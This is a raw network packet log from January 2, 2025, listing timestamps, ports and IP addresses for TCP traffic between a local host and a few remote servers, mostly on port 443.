Jan 2, 2025 20:12:21.242615938 CET	56580	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.243544102 CET	56580	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.243552923 CET	443	56580	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.244061947 CET	56589	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.244107962 CET	443	56589	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.244168043 CET	56589	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.244472980 CET	56589	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.244488001 CET	443	56589	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.403733969 CET	443	56582	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.403776884 CET	443	56582	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.403804064 CET	56582	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.403832912 CET	443	56582	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.403846979 CET	56582	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.403877020 CET	56582	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.403882027 CET	443	56582	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.403892994 CET	443	56582	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.403994083 CET	56582	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.404939890 CET	56582	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.404958963 CET	443	56582	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.405664921 CET	56590	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.405695915 CET	443	56590	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.406147957 CET	56590	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.406522989 CET	56590	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.406538010 CET	443	56590	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:21.627275944 CET	56586	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:21.627368927 CET	56587	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:21.627398014 CET	56589	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.627466917 CET	56590	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:21.629668951 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:21.629720926 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:21.629792929 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:21.630933046 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:21.630950928 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:21.631838083 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:21.631872892 CET	443	56592	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:21.631987095 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:21.632306099 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:21.632338047 CET	443	56592	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.270263910 CET	443	56592	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.270414114 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.271343946 CET	443	56592	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.271490097 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.273468971 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.273475885 CET	443	56592	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.273794889 CET	443	56592	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.273847103 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.274373055 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.278713942 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.278779030 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.279606104 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.279660940 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.281384945 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.281409025 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.281672001 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.281717062 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.282047987 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.315339088 CET	443	56592	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.323340893 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.646008968 CET	443	56592	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.646090984 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.646111012 CET	443	56592	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.646239996 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.646419048 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.646455050 CET	443	56592	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.646526098 CET	56592	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.647217035 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:22.647262096 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:22.647325039 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:22.647581100 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.647625923 CET	443	56602	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.648082972 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.648451090 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:22.648463011 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:22.648767948 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.648782969 CET	443	56602	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.663539886 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.663734913 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.663758039 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.664074898 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.664196968 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.664227962 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.664364100 CET	443	56591	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.664387941 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.664453030 CET	56591	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.665416002 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.665457010 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.665858030 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:22.665900946 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:22.666001081 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.666136026 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:22.666290045 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:22.666301966 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:22.671327114 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:22.671344995 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.279340029 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.279505968 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.286520004 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.286537886 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.286936045 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.287031889 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.287348032 CET	443	56602	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.287480116 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.287560940 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.288115978 CET	443	56602	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.288218021 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.292190075 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.292208910 CET	443	56602	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.292491913 CET	443	56602	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.292637110 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.293031931 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.296955109 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.297708988 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.297796011 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.297811985 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.299978018 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.301065922 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.301214933 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.335333109 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.339320898 CET	443	56602	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.345568895 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.345588923 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.345875025 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.345925093 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.346280098 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.346298933 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.346554041 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.346590042 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.347059965 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.347444057 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.391329050 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.395324945 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.674493074 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.674547911 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.674567938 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.674607038 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.674705982 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.674736977 CET	443	56603	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.674792051 CET	56603	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.675647974 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.675687075 CET	443	56612	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.675751925 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.676090956 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.676103115 CET	443	56612	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.685848951 CET	443	56602	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.685935974 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.685950994 CET	443	56602	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.685986996 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.686091900 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.686115980 CET	443	56602	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.686158895 CET	56602	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.686825991 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.686855078 CET	443	56613	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.686949015 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.687227964 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:23.687232971 CET	443	56613	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:23.702063084 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.702111006 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.702116013 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.702130079 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.702152014 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.702181101 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.702189922 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.702224016 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.702230930 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.702260017 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.702260017 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.702291965 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.703473091 CET	56601	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.703484058 CET	443	56601	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.704528093 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.704555035 CET	443	56614	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.704606056 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.704864025 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.704869032 CET	443	56614	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.992402077 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.992455959 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.992466927 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.992484093 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.992502928 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.992530107 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.992537022 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.992563009 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.992575884 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.992600918 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.993596077 CET	56604	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.993613958 CET	443	56604	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.994453907 CET	56615	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.994497061 CET	443	56615	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:23.994641066 CET	56615	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.994806051 CET	56615	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:23.994817019 CET	443	56615	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.433331966 CET	443	56613	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.433485985 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.434118986 CET	443	56613	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.434305906 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.435986996 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.435992956 CET	443	56613	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.436242104 CET	443	56613	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.436306000 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.439977884 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.442426920 CET	443	56614	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.442517996 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.442945004 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.442954063 CET	443	56614	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.443212986 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.443221092 CET	443	56614	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.450512886 CET	443	56612	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.450664997 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.451297998 CET	443	56612	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.451423883 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.455503941 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.455528975 CET	443	56612	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.455785036 CET	443	56612	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.456033945 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.456618071 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.483335972 CET	443	56613	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.503333092 CET	443	56612	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.520288944 CET	49712	80	192.168.2.7	208.95.112.1
Jan 2, 2025 20:12:24.525177956 CET	80	49712	208.95.112.1	192.168.2.7
Jan 2, 2025 20:12:24.668927908 CET	443	56615	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.669025898 CET	56615	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.669612885 CET	56615	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.669624090 CET	443	56615	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.669869900 CET	56615	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.669882059 CET	443	56615	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.819663048 CET	443	56613	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.819835901 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.819957972 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.819984913 CET	443	56613	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.820102930 CET	56613	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.821005106 CET	56620	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.821054935 CET	443	56620	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.821134090 CET	56620	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.823996067 CET	56620	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.824032068 CET	443	56620	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.843307018 CET	443	56612	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.843496084 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.843712091 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.843755960 CET	443	56612	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.843908072 CET	56612	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.847992897 CET	56621	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.848031044 CET	443	56621	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.848108053 CET	56621	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.848470926 CET	56621	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:24.848479033 CET	443	56621	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:24.860958099 CET	443	56614	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.861015081 CET	443	56614	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.861047983 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.861072063 CET	443	56614	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.861104965 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.861170053 CET	443	56614	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.861176014 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.861452103 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.862138987 CET	56614	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.862154007 CET	443	56614	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.862771988 CET	56622	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.862823009 CET	443	56622	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:24.863065958 CET	56622	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.863306046 CET	56622	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:24.863328934 CET	443	56622	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.090512037 CET	443	56615	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.090569973 CET	443	56615	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.090598106 CET	56615	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.090620995 CET	443	56615	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.090686083 CET	56615	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.090696096 CET	443	56615	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.090814114 CET	56615	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.091599941 CET	56615	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.091626883 CET	443	56615	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.092334986 CET	56624	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.092384100 CET	443	56624	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.092761993 CET	56624	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.092761993 CET	56624	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.092797995 CET	443	56624	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.451071024 CET	443	56620	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.451148987 CET	56620	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.451189041 CET	56620	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.451870918 CET	443	56620	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.451927900 CET	56620	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.457243919 CET	56620	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.457257032 CET	443	56620	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.457587004 CET	443	56620	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.457645893 CET	56620	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.458306074 CET	56620	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.481614113 CET	443	56621	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.481683016 CET	56621	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.482446909 CET	443	56621	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.482503891 CET	56621	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.484838963 CET	56621	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.484848022 CET	443	56621	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.485107899 CET	443	56621	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.485162020 CET	56621	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.485582113 CET	56621	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.499356985 CET	443	56620	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.502156019 CET	443	56622	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.502204895 CET	56622	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.502711058 CET	56622	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.502723932 CET	443	56622	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.505065918 CET	56622	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.505074978 CET	443	56622	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:25.527342081 CET	443	56621	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.642827034 CET	56624	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.642906904 CET	56620	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.642983913 CET	56621	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.643014908 CET	56622	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:25.647114992 CET	56628	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.647146940 CET	443	56628	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.647221088 CET	56628	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.647798061 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.647844076 CET	443	56629	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.647897959 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.648520947 CET	56628	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.648531914 CET	443	56628	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:25.648581982 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:25.648592949 CET	443	56629	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.275629997 CET	443	56629	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.275695086 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.285959005 CET	443	56628	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.286093950 CET	56628	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.395615101 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.395616055 CET	56628	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.395634890 CET	443	56628	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.395636082 CET	443	56629	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.395661116 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.395667076 CET	443	56629	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.395850897 CET	56628	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.395855904 CET	443	56628	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.684365034 CET	443	56629	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.684453011 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.685045958 CET	443	56629	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.685086012 CET	443	56629	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.685182095 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.685225010 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.686670065 CET	443	56628	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.686820030 CET	56628	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.686949968 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.686949968 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.686966896 CET	443	56629	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.686991930 CET	443	56628	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.687031031 CET	443	56628	142.250.74.206	192.168.2.7
